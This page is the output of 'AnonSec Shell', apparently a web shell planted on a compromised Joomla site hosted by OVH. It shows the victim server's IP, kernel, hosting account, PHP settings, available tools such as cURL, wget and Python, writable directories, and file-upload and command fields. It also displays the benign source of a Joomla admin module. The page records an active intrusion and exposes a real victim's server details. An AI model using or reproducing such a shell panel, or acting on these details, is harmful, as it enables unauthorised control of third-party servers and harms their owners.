AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nice2/administrator/modules/mod_yootheme_link/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nice2/administrator/modules/mod_yootheme_link/mod_yootheme_link.php
<?php

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Registry\Registry;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Uri\Uri;

defined('_JEXEC') or die();

if (!Factory::getUser()->authorise('core.edit', 'com_templates')) {
    return;
}

$query = "SELECT * FROM #__template_styles WHERE client_id=0 AND home='1'";
if (!($templ = Factory::getDbo()->setQuery($query)->loadObject())) {
    return;
}

$templ->params = new Registry($templ->params);

if (!$templ->params->get('yootheme')) {
    return;
}

if (!PluginHelper::isEnabled('system', 'yootheme')) {
    return;
}

$app->getDocument()->addStyleSheet(
    Uri::root(true) . '/administrator/modules/mod_yootheme_link/assets/icon.css',
);

require ModuleHelper::getLayoutPath(
    'mod_yootheme_link',
    $params->get('layout', 'default') . (version_compare(JVERSION, '4.0', '<') ? '_legacy' : ''),
);

Anon7 - 2022
AnonSec Team